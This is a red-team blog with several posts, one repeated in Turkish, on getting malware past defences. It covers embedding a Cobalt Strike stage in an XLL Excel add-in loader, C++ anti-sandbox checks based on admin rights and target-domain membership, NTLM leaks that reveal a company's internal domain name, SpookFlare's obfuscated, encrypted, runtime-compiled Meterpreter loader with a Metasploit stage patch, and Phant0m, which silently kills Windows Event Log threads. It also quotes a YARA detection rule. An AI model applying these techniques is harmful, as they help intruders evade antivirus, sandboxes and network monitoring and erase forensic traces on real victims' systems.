with knowledge comes power

Big Stages Implementation And Library Files

2021-06-08T16:37:00+03:00

If you have a command & control server running a RAT, you should protect this server from possible detections. This is one of the golden rules for OPSEC. There has been a lot of content shared on this topic lately, and researchers are detecting command & control servers on the internet, fetching Stages and analyzing them. Thus, they can detect many post exploitation flows. The best example of this is the research for Cobalt Strike. Stage created by Cobalt Strike has parameters to be used for all post exploitation and if you get the Stage you can get almost all the information.

Setting the host_stage option to false used to degrade the product’s post-ex workflows in a noticeable way. Now, if you set this option to false, you won’t feel an impact once you have initial access. Setting this option to false has a huge OPSEC benefit as it hinders efforts to survey team servers and analyze their payload data.

If you have such concerns, one of the preferred ways is to embed the Stage into your Loader. In some cases, the use of long strings and large arrays can cause errors by the compiler, and your code may compile with long compilation times even if no errors occur. There are many ways to solve these problems and one of them is to add the Stage as a Resource to your binary. Thus, when your file runs, you can read its own Resource and then do the work you want to do. For example, you can run the Stage you added as a Resource into an EXE file with the following sample code.

HRSRC shellcodeResource = FindResource(NULL, MAKEINTRESOURCE(IDR_RESOURCE_NAME1), L"RESOURCE_NAME");
DWORD shellcodeSize = SizeofResource(NULL, shellcodeResource);
HGLOBAL shellcodeResouceData = LoadResource(NULL, shellcodeResource);

However, the code block we have provided here is valid for a sample EXE Loader. One of my personal favorite methods for Initial Access is send Loader to the target(s) with XLL file format.

A file with the XLL file extension is an Excel Add-in file. These files provide a way to use third-party tools and functions in Microsoft Excel that aren’t natively part of the software. Excel Add-in files are similar to DLL files except that they’re built specifically for Excel.

In short, XLL files are DLL files that Excel can load. Since XLL files are actually DLL files and the Resource you will add will be the Resource of the XLL file, you need to make changes as in the code block below. Because the Resource we need to call is the Resource of the loaded XLL file, not the Resource of the Excel.exe running the Loader.

EXTERN_C IMAGE_DOS_HEADER __ImageBase;
HRSRC shellcodeResource = FindResource((HINSTANCE)&__ImageBase, MAKEINTRESOURCE(IDR_RESOURCE_NAME1), L"RESOURCE_NAME");
DWORD shellcodeSize = SizeofResource((HINSTANCE)&__ImageBase, shellcodeResource);
HGLOBAL shellcodeResouceData = LoadResource((HINSTANCE)&__ImageBase, shellcodeResource);

Pro Tip

Below is the YARA rule, which contains the commonly used detection logic for XLL files.

import "pe"

rule susp_msoffice_addins_wxll {
meta:
 author = "SBousseaden"
 date = "11/10/2020"
 description = "hunt for suspicious MS Office Addins with code injection capabilities"
 reference = "https://twitter.com/JohnLaTwC/status/1315287078855352326"
strings:
 $inj1 = "WriteProcessMemory"
 $inj2 = "NtWriteVirtualMemory"
 $inj3 = "RtlMoveMemory"
 $inj4 = "VirtualAllocEx"
 $inj5 = "NtAllocateVirtualMemory" 
 $inj6 = "NtUnmapViewOfSection"
 $inj7 = "VirtualProtect"
 $inj8 = "NtProtectVirtualMemory"
 $inj9 = "SetThreadContext"
 $inj10 = "NtSetContextThread"
 $inj11 = "ResumeThread"
 $inj12 = "NtResumeThread"
 $inj13 = "QueueUserAPC"
 $inj14 = "NtQueueApcThread"
 $inj15 = "NtQueueApcThreadEx"
 $inj16 = "CreateRemoteThread"
 $inj17 = "NtCreateThreadEx"
 $inj18 = "RtlCreateUserThread"
condition: uint16(0) == 0x5a4d and (pe.exports("wlAutoOpen") or pe.exports("xlAutoOpen")) and 3 of ($inj*)
}

If you examine, wlAutoOpen and xlAutoOpen values are passed for the export values of the file. This is a situation I encounter in many red team operations. Many EPPs only look at the Export section when examining XLL files and classify them as malicious because the xlAutoOpen value is passed. Keep this in mind and it’s better to use XLL files if you know what EPP technology your target is using. That’s why the information gathering section is one of the key points of any red team operation. ;)

Happy hunting!

References

Odysseus and the Trojan Horse

2020-09-23T16:37:00+03:00

Today, many companies, especially large companies, use both online and offline sandbox solutions. We can say that sandbox technology is the backbone of a cyber defense center. Because malicious files are constantly coming to your company! It’s hard to find more than one “really” trained malware analyst, and even if you find the right people to do the job, they have to do it over and over again. Long story short, you need a sandbox solution and if you are already using sandbox technology, you are doing well.

In the current situation of sandbox technology, sandboxes that can analyze at the hypervisor level stand out. Such sandboxes are considered to be relatively difficult to bypass. These types of sandboxes can understand the standard anti-sanbox techniques and can take counter action. If you are using a sandbox technology and this sandbox technology can analyze at the hypervisor level, you are doing the good things in right way.

The way you prefer to bypass sanboxes that can perform advanced analysis and detections, such as sandboxes that analyze at the hypervisor level, is to develop malicious software that requires user interaction. For example, you can integrate the Pickl3 project into your malware. When you complete the integration, Pickl3 will wait for the target user to enter the correct Windows account information. If the target user enters the correct account information, you will run your malware and “KA-BOOM!” You will probably bypass the sandbox. However, in this article, I will share a technique that I have applied and succeeded in many operations before. This technique has always reminded me of Odysseus and the Trojan Horse.

Mistakes Made and Their Results

Even though the sandbox technology is advanced, companies do not tighten the operating system in the sandbox. Those who perform Red Team Operations or attackers primarily target end users. Now, let’s talk about what we can do with the system features of an average company’s end user. Below I talked about some mistakes and what we can do.

Mistake-1: Almost every sandbox runs the malware on Administrator rights while analyzing. You can develop your malware to run according to the answer to the following question; Do you have administrator rights?

If it does not have Administrator rights, you can make it run and bypass the sandbox. For this, GetTokenInformation and AllocateAndInitializeSid APIs will give us the necessary information. I have given the sample C ++ code below.

bool isAdministrator() {
	HANDLE access_token;
	DWORD buffer_size = 0;
	PSID admin_SID;
	TOKEN_GROUPS* group_token = NULL;
	SID_IDENTIFIER_AUTHORITY NT_authority = SECURITY_NT_AUTHORITY;

	if (!OpenProcessToken(GetCurrentProcess(), TOKEN_READ, &access_token))
		return false;

	GetTokenInformation(
		access_token,
		TokenGroups,
		group_token,
		0,
		&buffer_size
	);

	std::vector<char> buffer(buffer_size);

	group_token =
		reinterpret_cast<TOKEN_GROUPS*>(&buffer[0]);

	bool succeeded = GetTokenInformation(
		access_token,
		TokenGroups,
		group_token,
		buffer_size,
		&buffer_size
	);

	CloseHandle(access_token);
	if (!succeeded)
		return false;

	if (!AllocateAndInitializeSid(
		&NT_authority,
		2,
		SECURITY_BUILTIN_DOMAIN_RID,
		DOMAIN_ALIAS_RID_ADMINS,
		0, 0, 0, 0, 0, 0,
		&admin_SID
	))
	{
		return false;
	}

	bool found = false;
	for (size_t i = 0; !found && i < group_token->GroupCount; i++)
		found = EqualSid(admin_SID, group_token->Groups[i].Sid);
	FreeSid(admin_SID);
	return found;
}

If you want to take the above code further, you can also check the Integrity Level of your malicious process. ;)

Mistake-2: Many companies do not install Active Directory for Sandbox’s analysis environment. Every average company has a domain and end users are included in that domain. In other words, the malware you develop will run on a system with domain integration. You can develop your malware to run according to the answer to the following question; Is the environment in which you work integrated into the domain? If the system is integrated into the domain, you can make it work and bypass the sandbox. The DsRoleGetPrimaryDomainInformation API can use for this . This API returns information about the domain that has been integrated. I have given the sample C ++ code below.

bool isMemberOfAD() {
   bool memberOfAD = FALSE;

   DSROLE_PRIMARY_DOMAIN_INFO_BASIC* dsRoleInfo;
   DWORD dwCode;

   dwCode = DsRoleGetPrimaryDomainInformation(NULL, DsRolePrimaryDomainInfoBasic, (PBYTE*)&dsRoleInfo);
  
   if (dwCode != ERROR_SUCCESS) {
       memberOfAD = FALSE;
   }

   if ((dsRoleInfo->DomainForestName != NULL) && (dsRoleInfo->DomainNameDns != NULL)) {
       memberOfAD = TRUE;
   }

   return memberOfAD;
}

Mistake-3: We can take the technique I explained in the previous step to higher level. In the previous step, we made a query about the target system’s domain (Active Directroy) integration. We can also check for integration directly for a specific domain. For example, our target company is DZ Corp Inc. and they use a domain named dzcorp.local on their internal network. In the previous step, we ensured that our malware works on a system that belongs to the domain, now we will enable it to work only in the domain with the name dzcorp.local. For this, we need to find the DNS name for the target system’s domain. There are two traceable steps for this.

Finding disclosed SSL certificates
Finding a directory that is accessible from the Internet and allows NTLM Autentication
- Finding the Skype for Business (formerly Microsoft Lync or Microsoft Office Communicator) server

Disclosed SSL Certificates

There are many systems on the internet that scan and record certificates. Companies can sometimes use their internal network certificates in their internet-enabled systems. The domain name of the certificate created for use in the internal network can usually be the DNS name of the internal domain. In such cases, you can find the DNS name of the domain used inside.

Directories That Allow NTLM Authentication

Companies use a variety of technologies and some of them feature NTLM Authentication. Some of these are given below.

OWA Servers
Skype for Business (formerly Microsoft Lync or Microsoft Office Communicator)
Autodiscover Servers (autodiscover.domain.com and lyncdiscover.domain.com)
ADFS Servers

For example, if the target company is using Skype for Business and this server is open to the Internet, you can find it with Subdomain Bruteforce. For example, once we find Subdomain for Skype for Business, we need to find a directory with NTLM Authentication by requesting one of the directories below. I have given the following possible directories.

/abs/
/adfs/services/trust/2005/windowstransport
/aspnet_client/
/autodiscover/
/autoupdate/
/certenroll/
/certprov/
/certsrv/
/conf/
/deviceupdatefiles_ext/
/deviceupdatefiles_int/
/dialin/
/ecp/
/etc/
/ews/
/exchange/
/exchweb/
/hybridconfig/
/groupexpansion/
/mcx/
/mcx/mcxservice.svc
/meet/
/meeting/
/microsoft-server-activesync/
/oab/
/ocsp/
/owa/
/persistentchat/
/phoneconferencing/
/powershell/
/public/
/reach/sip.svc
/requesthandler/
/requesthandlerext/
/rgs/
/rgsclients/
/rpc/
/rpcwithcert/
/scheduler/
/ucwa/
/unifiedmessaging/
/webticket/
/webticket/webticketservice.svc

After finding a directory that requires NTLM Authentication, all that remains is to find the DNS name of the domain used in the internal network. When you make a request to one of the directories I gave above for Skype for Business, if NTLM Authentication is active, monitor its traffic using an HTTP (S) proxy. Try to login with any account information. The server will respond with an HTTP 401 (Unauthorized) status code and a value starting with WWW-Authenticate header information TlRMTVNTUAACAAAA.... Here, in this WWW-Authenticate header information, the domain DNS name used by the target company is mentioned. By reading this binary data, you will get a value as follows.

Msg Type: 2 (Challenge)
Target Name: u'HLLDZ' [123456233fsdfe0112900aaaa00] (05b @11)
Challenge: 0xaaaaaaaaaaaaaaaa
Context: '' [] (0b @0)
Target: [block] (111b @11)
    AD domain name (2): HLLDZ
    Server name (1): SRV0001
    DNS domain name (4): hlldz.dzcorp.local
    FQDN (3): srv0001.hlldz.dzcorp.local
    Parent DNS domain (5): dzcorp.local

You now have information about the target company’s domain DNS name. You can develop your malware to work according to the answers to the following questions; Is the system you are running integrated into a domain? If so, is this domain named “dzcorp.local”?

To do this, you can compare the values of dsRoleInfo->DomainForestName or dsRoleInfo->DomainNameDns in the code below with the domain DNS name of the target company.

bool isMemberOfTargetAD() {
   bool isMemberOfTargetAD = FALSE;

   DSROLE_PRIMARY_DOMAIN_INFO_BASIC* dsRoleInfo;
   DWORD dwCode;

   dwCode = DsRoleGetPrimaryDomainInformation(NULL, DsRolePrimaryDomainInfoBasic, (PBYTE*)&dsRoleInfo);
  
   if (dwCode != ERROR_SUCCESS) {
       isMemberOfTargetAD = FALSE;
   }

   if ((dsRoleInfo->DomainForestName != NULL) && (dsRoleInfo->DomainNameDns != NULL)) {
        // Compare dsRoleInfo->DomainForestName or dsRoleInfo->DomainNameDns with target information
        // Then return TRUE or FALSE
        isMemberOfTargetAD = TRUE;
   }

   return isMemberOfTargetAD;
}

Happy hunting!

References

Odysseus’un Truva Atı

2020-09-14T16:37:00+03:00

Günümüzde, başta büyük şirketler olmak üzere birçok şirket hem online hem de offline sandbox çözümleri kullanmaktadır. Sandbox teknolojisi bir siber savunma merkezinin bel kemiğidir diyebiliriz. Çünkü sürekli olarak şirketinize zararlı dosyalar geliyor! “Gerçekten” yetişmiş birden fazla zararlı yazılım analisti bulmak zor ve bu işi yapacak doğru kişileri bulsanız bile bunu defalarca yapmaları gerekmektedir. Uzun lafı kısası bir sandbox çözümüne ihtiyacınız var ve hali hazırda bir sandbox teknolojisi kullanıyorsanız iyi şeyler yapıyorsunuz demektir.

Sandbox teknolojisinin günümüzdeki durumunda, özellikle hypervisor seviyesinde analiz yapabilenler sandboxlar öne çıkmaktadır. Bu tür sandboxların bypass edilmesi görece olarak daha zor kabul edilmektedir. Bu tür sandboxlar standart haline gelmiş anti-sanbox tekniklerini anlayabilmektedir ve karşı aksiyon alabilmektedir. Eğer bir sandbox teknolojisi kullanıyorsanız ve bu sandbox teknolojisi hypervisor seviyesinde analiz yapabiliyorsa iyi şeyleri doğru şekilde yapıyorsunuz demektir.

Hypervisor seviyesinde analiz yapan sandboxlar gibi ileri düzey analizler ve tespitler yapabilen sanboxları bypass etmek için tercih edeceğiniz yol kullanıcı etkileşimi gerektiren zararlı yazılımlar geliştirmektir. Örneğin, Pickl3 projesini zararlı yazılımınıza entegre edebilirsiniz. Entegrasyonu tamamladığınızda, Pickl3 hedef kullanıcıdan doğru Windows hesap bilgisini girmesini bekleyecektir. Eğer hedef kullanıcı doğru hesap bilgisini girerse zararlı yazılımınızı çalıştıracaksınız ve “KA-BOOM!” sandbox’ı çok yüksek ihtimal ile bypass etmiş olacaksınız. Ancak ben bu yazı içerisinde daha önce birçok operasyonda uyguladığım ve başarılı olduğum bir tekniği paylaşacağım. Bu teknik bana hep Odysseus’un Truva Atı’nı hatırlatmıştır.

Yapılan Hatalar ve Sonuçları

Sandbox teknolojisi her ne kadar gelişmiş olsa bile şirketler, sandbox içerisindeki çalışan işletim sistemini sıkılaştırmamaktadır. Red Team Operasyonlarını gerçekleştirenler veya saldırganlar, öncelikli olarak son kullanıcıları hedef alır. Şimdi sizinle beraber ortalama bir şirketin son kullanıcısının sistem özellikleri üzerinden neler yapabiliriz ona değinelim. Aşağıda bazı hatalardan ve neler yapabileceğimizden bahsettim.

Hata-1: Neredeyse her sandbox analiz yaparken zararlı yazılımı Administrator haklarında çalıştırır. Zararlı yazılımınızı şu sorunun cevabına göre çalışacak şekilde geliştirebilirsiniz; Administrator haklarına sahip misin?

Eğer Administrator haklarına sahip değil ise çalışmasını sağlayabilir ve sandbox’ı bypass edebilirsiniz. Bunun için GetTokenInformation ve AllocateAndInitializeSid API’ları bize gereken bilgiyi verecektir. Örnek C++ kodunu aşağıda verdim.

bool isAdministrator() {
	HANDLE access_token;
	DWORD buffer_size = 0;
	PSID admin_SID;
	TOKEN_GROUPS* group_token = NULL;
	SID_IDENTIFIER_AUTHORITY NT_authority = SECURITY_NT_AUTHORITY;

	if (!OpenProcessToken(GetCurrentProcess(), TOKEN_READ, &access_token))
		return false;

	GetTokenInformation(
		access_token,
		TokenGroups,
		group_token,
		0,
		&buffer_size
	);

	std::vector<char> buffer(buffer_size);

	group_token =
		reinterpret_cast<TOKEN_GROUPS*>(&buffer[0]);

	bool succeeded = GetTokenInformation(
		access_token,
		TokenGroups,
		group_token,
		buffer_size,
		&buffer_size
	);

	CloseHandle(access_token);
	if (!succeeded)
		return false;

	if (!AllocateAndInitializeSid(
		&NT_authority,
		2,
		SECURITY_BUILTIN_DOMAIN_RID,
		DOMAIN_ALIAS_RID_ADMINS,
		0, 0, 0, 0, 0, 0,
		&admin_SID
	))
	{
		return false;
	}

	bool found = false;
	for (size_t i = 0; !found && i < group_token->GroupCount; i++)
		found = EqualSid(admin_SID, group_token->Groups[i].Sid);
	FreeSid(admin_SID);
	return found;
}

Yukarıdaki kodu daha ileri seviyeye taşımak isterseniz zararlı processinizin Integrity Level’ına da bakabilirsiniz. ;)

Hata-2: Birçok şirket Sandbox’ın analiz ortamı için Active Directory (Etki Alanı) kurmamaktadır. Ortalama her şirket etki alanına sahiptir ve son kullancılar bu etki alanına dahildir. Yani geliştirdiğiniz zararlı yazılım etki alanı entegrasyonu olan bir sisteme çalışacak demektir. Zararlı yazılımınızı şu sorunun cevabına göre çalışacak şekilde geliştirebilirsiniz; Çalıştığın ortam etki alanına entegre mi? Eğer sistem etki alanına entegre ise çalışmasını sağlayabilir ve sandbox’ı bypass edebilirsiniz. Bunun için DsRoleGetPrimaryDomainInformation API’ını kullanabilirsiniz. Bu API dahil olunmuş olan etki alanı hakkında bilgiler döndürür. Örnek C++ kodunu aşağıda verdim.

bool isMemberOfAD() {
   bool memberOfAD = FALSE;

   DSROLE_PRIMARY_DOMAIN_INFO_BASIC* dsRoleInfo;
   DWORD dwCode;

   dwCode = DsRoleGetPrimaryDomainInformation(NULL, DsRolePrimaryDomainInfoBasic, (PBYTE*)&dsRoleInfo);
  
   if (dwCode != ERROR_SUCCESS) {
       memberOfAD = FALSE;
   }

   if ((dsRoleInfo->DomainForestName != NULL) && (dsRoleInfo->DomainNameDns != NULL)) {
       memberOfAD = TRUE;
   }

   return memberOfAD;
}

Hata-3: Bir önceki adımı anlattığım tekniği daha ileri seviyeye taşıyabiliriz. Bir önceki adımda hedef sistemin etki alanı (Active Directroy) entegrasyonu hakkında işlem gerçekleştirdik. Direkt olarak belirli bir etki alanına entegrasyonu için de kontrol yapabiliriz. Örneğin, hedef şirketimiz DZ Corp Inc. ve iç ağlarında dzcorp.local ismine sahip bir etki alanı kullanıyorlar. Bir önceki adımda zararlımızın etki alanına dahil bir sistemde çalışmasını sağladık şimdi sadece dzcorp.local ismine sahip etki alanında çalışmasını sağlayacağız. Bunun için hedef sistemin etki alanı için ayarlanmış DNS adını bulmamız gerekiyor. Bunun için izlenebilir iki tane adım bulunmaktadır.

İfşa olan SSL sertifikaları bulmak
İnternetten erişilebilen ve NTLM Autentication’a izin veren bir dizin bulmak
- Skype for Business (eski adıyla Microsoft Lync veya Microsoft Office Communicator) sunucusunu bulmak

İfşa Olan SSL Sertifikaları

İnternet üzerinde sertifikaları tarayıp kayıt altına alan birçok sistem bulunuyor. Şirketler internete açık sistemlerinde bazen iç ağdaki sertifikalarını kullanarak internete açabiliyor. İç ağda kullanmak üzere oluşturulan sertifikanın alan adı genelde iç etki alanının DNS adı olabilmektedir. Bu gibi durumlarda iç tarafta kullanılan etki alanının DNS adını bulabilirsiniz.

NTLM Authentication’a İzin Veren Dizinler

Şirketler çeşitli teknolojiler kullanır ve bunlardan bazıları NTLM Authentication özelliğine sahiptir. Bunlardan bazıları aşağıda verilmiştir.

OWA Servers
Skype for Business (eski adıyla Microsoft Lync veya Microsoft Office Communicator)
Autodiscover Servers (autodiscover.domain.com ve lyncdiscover.domain.com)
ADFS Servers

Örneğin, hedef şirket Skype for Business kullanıyorsa ve bu sunucu internete açık ise bunu Subdomain Bruteforce ile bulabilirsiniz. Örneğin Skype for Business için Subdomain’i bir kez bulunca aşağıdaki dizinlerden birine istek yaparak NTLM Authentication bulunan bir dizini bulmamız gerekmektedir. Aşağıdaki muhtemel dizinleri verdim.

/abs/
/adfs/services/trust/2005/windowstransport
/aspnet_client/
/autodiscover/
/autoupdate/
/certenroll/
/certprov/
/certsrv/
/conf/
/deviceupdatefiles_ext/
/deviceupdatefiles_int/
/dialin/
/ecp/
/etc/
/ews/
/exchange/
/exchweb/
/hybridconfig/
/groupexpansion/
/mcx/
/mcx/mcxservice.svc
/meet/
/meeting/
/microsoft-server-activesync/
/oab/
/ocsp/
/owa/
/persistentchat/
/phoneconferencing/
/powershell/
/public/
/reach/sip.svc
/requesthandler/
/requesthandlerext/
/rgs/
/rgsclients/
/rpc/
/rpcwithcert/
/scheduler/
/ucwa/
/unifiedmessaging/
/webticket/
/webticket/webticketservice.svc

NTLM Authentication gerektiren bir dizin bulduktan sonra geriye sadece iç ağda kullanılan etki alanına ait DNS adını bulmak kalmaktadır. Skype for Business için yukarıda verdiğim dizinlerden birine istek yaptığınızda eğer NTLM Authentication aktif ise HTTP(S) proxy kullanarak trafiğini izleyin. Herhangi bir hesap bilgisi ile giriş yapmayı deneyin. Sunucu size HTTP 401 (Unauthorized) durum kodu ve WWW-Authenticate header bilgisinde TlRMTVNTUAACAAAA... ile başlayan bir değer ile cevap verecektir. İşte bu WWW-Authenticate başlık bilgisi içerisinde hedef şirketin kullandığı etki alanı DNS adı geçmektedir. Bu binary veriyi okuduğunuz aşağıdaki gibi bir değer elde edeceksiniz.

Msg Type: 2 (Challenge)
Target Name: u'HLLDZ' [123456233fsdfe0112900aaaa00] (05b @11)
Challenge: 0xaaaaaaaaaaaaaaaa
Context: '' [] (0b @0)
Target: [block] (111b @11)
    AD domain name (2): HLLDZ
    Server name (1): SRV0001
    DNS domain name (4): hlldz.dzcorp.local
    FQDN (3): srv0001.hlldz.dzcorp.local
    Parent DNS domain (5): dzcorp.local

Artık hedef şirketin etki alanı DNS ismi hakkında gerekli bilgiye sahipsiniz. Zararlı yazılımınızı şu soruların cevabına göre çalışacak şekilde geliştirebilirsiniz; Çalıştığın ortam etki alanına entegre mi? Eğer öyle ise, bu etki alanı dzcorp.local isimine mi sahip?

Bunun için aşağıdaki kodda bulunan dsRoleInfo->DomainForestName ya da dsRoleInfo->DomainNameDns ile hedef şirketin etki alanı DNS adını karşılaştırabilirsiniz.

bool isMemberOfTargetAD() {
   bool isMemberOfTargetAD = FALSE;

   DSROLE_PRIMARY_DOMAIN_INFO_BASIC* dsRoleInfo;
   DWORD dwCode;

   dwCode = DsRoleGetPrimaryDomainInformation(NULL, DsRolePrimaryDomainInfoBasic, (PBYTE*)&dsRoleInfo);
  
   if (dwCode != ERROR_SUCCESS) {
       isMemberOfTargetAD = FALSE;
   }

   if ((dsRoleInfo->DomainForestName != NULL) && (dsRoleInfo->DomainNameDns != NULL)) {
        // Compare dsRoleInfo->DomainForestName or dsRoleInfo->DomainNameDns with target information
        // Then return TRUE or FALSE
        isMemberOfTargetAD = TRUE;
   }

   return isMemberOfTargetAD;
}

Happy hunting!

Referanslar

SpookFlare: Stay In Shadows

2017-11-14T16:37:00+03:00

Windows is still the most popular end-user operating system and security products are mostly installed on Windows operating systems. Desktop operating system market share graph is given below from NetMarketShare report for August 2017. If an operating system has the highest usage rate in end user systems, it will be the target of attackers in the same way. This means security products will be used in that operating systems and that security products will have to develop themselves day by day against attacks.

Since Windows is the most commonly used operating system, the target systems usually have Windows operating system in the penetration tests. If you intend to infiltrate the Windows operating system, Meterpreter is usually used as RAT in penetration tests because there is full integration with Metasploit. Also my favorite RAT is the Meterpreter. :) Although the Meterpreter has great features, it can be used for illegal purposes, not just for legal purposes, it means, Meterpreter can classified as malicious by security products. This leads to the necessity of bypassing the security products in the target system in penetration tests. OK, we know what we need; “We want to use the Meterpreter and bypass the security countermeasures taken at target”. So how the security products work and how will the SpookFlare help us?

We can evaluate the operations of the security countermeasures implemented in the operating systems with three stages. The first is signature-based detection, the second is behavioral detection and the third is reputation-based detection. The first thing that is accepted in the literature to bypass the signature-based detection is obfuscation, so you can bypass countermeasures taken. The second, you must change the behavior of malware to bypass behavioral detection. So if you have been detected using Mimikatz to get the hashes of the local users in the target system, you can use the procdump tool of SysInternals. You can bypass behavioral detection because procdump is signed by the authority and generally it used for legal purposes. The last thing is reputation-based detectionand there are some things that are getting complicated at this point. Because the perspectives of security products may be different. Sometimes the properties of your application can be defined as malicious by some security products and the reputation-based detections algorithms changes completely from security product to security product. At this point, your experience is fully engaged in order to bypass the security product. At the end of the day, security products can detect and prevent the attack vectors if they “know”. I mean if you have unknown technique or way you can bypass the countermeasures of target system.

There are multiple ways the bypass security products. SpookFlare has a different perspective to bypass security measures and it gives you the opportunity to bypass the endpoint countermeasures at the client-side detection and network-side detection. SpookFlare is a loader generator for Meterpreter Reverse HTTP and HTTPS stages. SpookFlare has custom encrypter with string obfuscation and run-time code compilation features so you can bypass the countermeasures of the target systems like a boss until they “learn” the technique and behavior of SpookFlare payloads.

You can find the technical details of SpookFlare following headings and the payload execution steps following graph.

Obfuscation

In software development, obfuscation is the deliberate act of creating source or machine code that is difficult for humans to understand. SpookFlare uses the obfuscation for the string names. Therefore, it will be difficult to develop a signature in a certain “string(s)”. Actually writing a signature for certain string is a behavior done by many malware-analysts or security product developers. When a malware analyst analyzes the sample or by dynamic analysis systems then, once it is determined to be a malware, a proper signature of the file is extracted and added to the signatures database of the AV or Endpoint Security product. The signature of the file will change if you change any byte in a file. If you change the correct bytes, you can bypass the signature-based detections. SpookFlare uses the string obfuscation. Therefore, each generated payload will be unique as possible.

Runtime Code Compiling

Even though the application is built using obfuscation, the code must be completely changed after a point and this point is when your payloads are detected as malicious because string-based obfuscation can achieve success in a certain extent. For example, if the string-based obfuscation is used in your payload also the OpenProcess, VirtualAlloc etc. system calls are used in your payload, there is a possibility of your payload detect by security products. That system calls are suspicious because so many malware use that system calls. To escape from these and other situations, SpookFlare compiles the actual code during runtime. Thus, the definition of suspicious defines like system calls is hidden. Like the system calls, the actual code hiding is explained under the ongoing heading.

The .NET Framework includes a mechanism called the Code Document Object Model (CodeDOM) that enables developers of programs that emit source code to generate source code in multiple programming languages at run time, based on a single model that represents the code to render. Sometimes developers need it, and .NET Framework makes it possible. For example, the following C # code compiles the C # code assigned to the “code” variable during execution and runs it.

using System;
using System.Text;
using Microsoft.CSharp;
using System.CodeDom.Compiler;
using System.Reflection;

namespace compileTest {
    class Program {
        static void Main() {
            string code = @"
    using System;

    namespace runtimeCode {

        public class compile {

            public static void Main() {
                Console.WriteLine(""Hello from runtime compiled code!"");
                Console.ReadKey();
            }

        }

    }";
            CSharpCodeProvider provider = new CSharpCodeProvider();
            CompilerParameters parameters = new CompilerParameters();
            parameters.ReferencedAssemblies.Add("System.dll");
            parameters.GenerateInMemory = true;
            parameters.GenerateExecutable = true;
            CompilerResults results = provider.CompileAssemblyFromSource(parameters, code);
            if (results.Errors.HasErrors) {
                StringBuilder sb = new StringBuilder();

                foreach (CompilerError error in results.Errors) {
                    sb.AppendLine(String.Format("Error ({0}): {1}", error.ErrorNumber, error.ErrorText));
                }

                throw new InvalidOperationException(sb.ToString());
            }
            Assembly assembly = results.CompiledAssembly;
            Type program = assembly.GetType("runtimeCode.compile");
            MethodInfo main = program.GetMethod("Main");
            main.Invoke(null, null);
        }
    }
}

SpookFlare payloads are uses the runtime code compiling and execution. Each generated SpookFlare payloads contains own loader code and when executed, it give the loader code to the compiler.

Source Code Encryption

So far we have learned that we can use the string-based obfuscation and compile the code at runtime. However, when doing all of this we need to hide code the actual loader. Because the loader code being moved will have a disadvantage against signature-based fixes when the loader code defined clear-text. So SpookFlare encrypts the original loader’s code using the RijnDaelManaged class and when executed it decrypts the loader code after then it give the code to the compiler. It is act like crypters and finally, it execute the compiled code.

Bypassing Network Level Countermeasures

I inspired this section from @Arno0x0x and wanted to improve it. We usually use Meterpreter Staged Payloads, as you know, these payloads download their cores (stage) over the network and run in the target system memory. Security countermeasures may not only be in the end-user system but also at the network level, remember the IDS/IPS etc. Although the security countermeasures in end-user systems are bypassed, security countermeasures at network level can jeopardize an entire operation.

So, how can they detect the malicious files at the right network level? The answer is signature-based detection. For this situation you can use an encoder for Meterpreter’s core (stage) and you can bypass the network-level countermeasures. It can be the first conceivable idea and makes sense. If you use an encoder, you need to add a stub to decode it and creation of a signature for decoder is easier for malware analysts. We need something different and more difficult to analyze or detect. SpookFlare can handle this better without any encoder.

How do malware analysts write signatures for a binary? By creating unique patterns and creating these patterns for the head of the file. I mean, malware analysts are creating signatures for the header part of the file. Thus, they can prevent false-positives and detect malicious files more easily. So here is the solution or SpookFlare offer; if we add random bytes at the beginning of the application we can bypass network-based countermeasures and for this solution we need to patch Metasploit.

The file meterpreter_loader.rb in Metasploit is responsible for creating the Stage. The /usr/share/metasploit-framework/lib/msf/core/payload/windows/x64/meterpreter_loader.rb file for x64 stages and /usr/share/metasploit-framework/lib/msf/core/payload/windows/meterpreter_loader.rb file for x86 stages. We will add random bytes to the beginning of the Stage and for this process and we can use securerandom library in the Ruby language. The screenshot of this process is given below.

After, we define the creation of the actual Stage with generated random bytes. The screenshot of this process is given below.

Finally we will tell the Loader to remove the bytes added from the beginning of Stage and run the rest. Array.Copy or Buffer.BlockCopy functions can be used in C# for this, but Array.Copy is used in the SpookFlare Loaders because Array.Copy is faster than the Buffer.BlockCopy.

The scan results of SpookFlare loader, standard and patched Meterpreter stages are given below.

SpookFlare Loader Scan Result

Standart Meterpreter Stage Scan Result

Patched Meterpreter Stage Scan Result

Conclusion

As you know the security product firms can generate unique signatures of SpookFlare or behavioral algorithms when the usage rate of SpookFlare increases. When this happens, it will be time to change signatures and behavior. I/We will change signatures and behavior, or I/We will develop entirely new techniques. At the end of the day we will bypass the measures again in a very high probability because this is a cat mouse game that has no end. :) I developed the SpookFlare and technique for use in penetration tests, red team engagements and it is purely educational. Please use with responsibility.

In the above sections, I tried to explain as much as possible how SpookFlare works. You can access the usage video and the project on Github below links.

Usage Video, https://www.youtube.com/watch?v=p_eKKVoEl0o
Project, https://github.com/hlldz/SpookFlare

References

Phant0m: Killing Windows Event Log

2017-06-05T16:37:00+03:00

Phant0m is a PowerShell script and targets the Windows Event Log Service in Windows operating system. Because the most traces of a possible attack remain in the operating system logs. If we targeting Event Log Service first of all, let’s remember how services working on Windows operating system. When you look at the task manager, you see a lot of svchost.exe. If we are interested in Windows’ own services, we need to know how svchost.exe works and why?

svchost.exe

Svchost is essential in the implementation of so-called shared service processes, where a number of services can share a process in order to reduce resource consumption. Grouping multiple services into a single process conserves computing resources, and this consideration was of particular concern to NT designers because creating Windows processes takes more time and consumes more memory than in other operating systems, e.g. in the Unix family.¹ This means briefly that; On Windows operating systems, svchost.exe manages the services and services are actually running under svchost.exe’s as threads.

P.S: If you want to get more detailed information about the threads I would recommend you to read this, Processes, Threads, and Jobs in the Windows Operating System.

Phant0m works briefly as follows;

Detect the process of the Windows Event Log Service in the target operating system.
Get thread list and identify the Windows Event Log Service thread IDs.
Kill all threads about the Windows Event Log Service.

If Phant0m runs successfully, Windows Event Log Service will not work. So the target system will not be able to collect logs and will not be able to send logs because it can not collect logs. At the same time the Windows Event Log Service will appear to be running because the svchost.exe process for the Windows Event Log Service has not been stopped but only the related threads have been stopped. This is the main advantage and purpose of Phant0m’s. The service stops, but everything seems to be working.

If you want to do something like Phant0m does, you need to detect service name from thread ID. There are two ways I know, you can follow. In short, the first way is to get the subProcessTag value from Windows Event Log Service threads in their Thread Environment Block (TEB). The second way is to detect the DLLs used by the Windows Event Log Service threads.

Getting subProcessTag Value From TEB

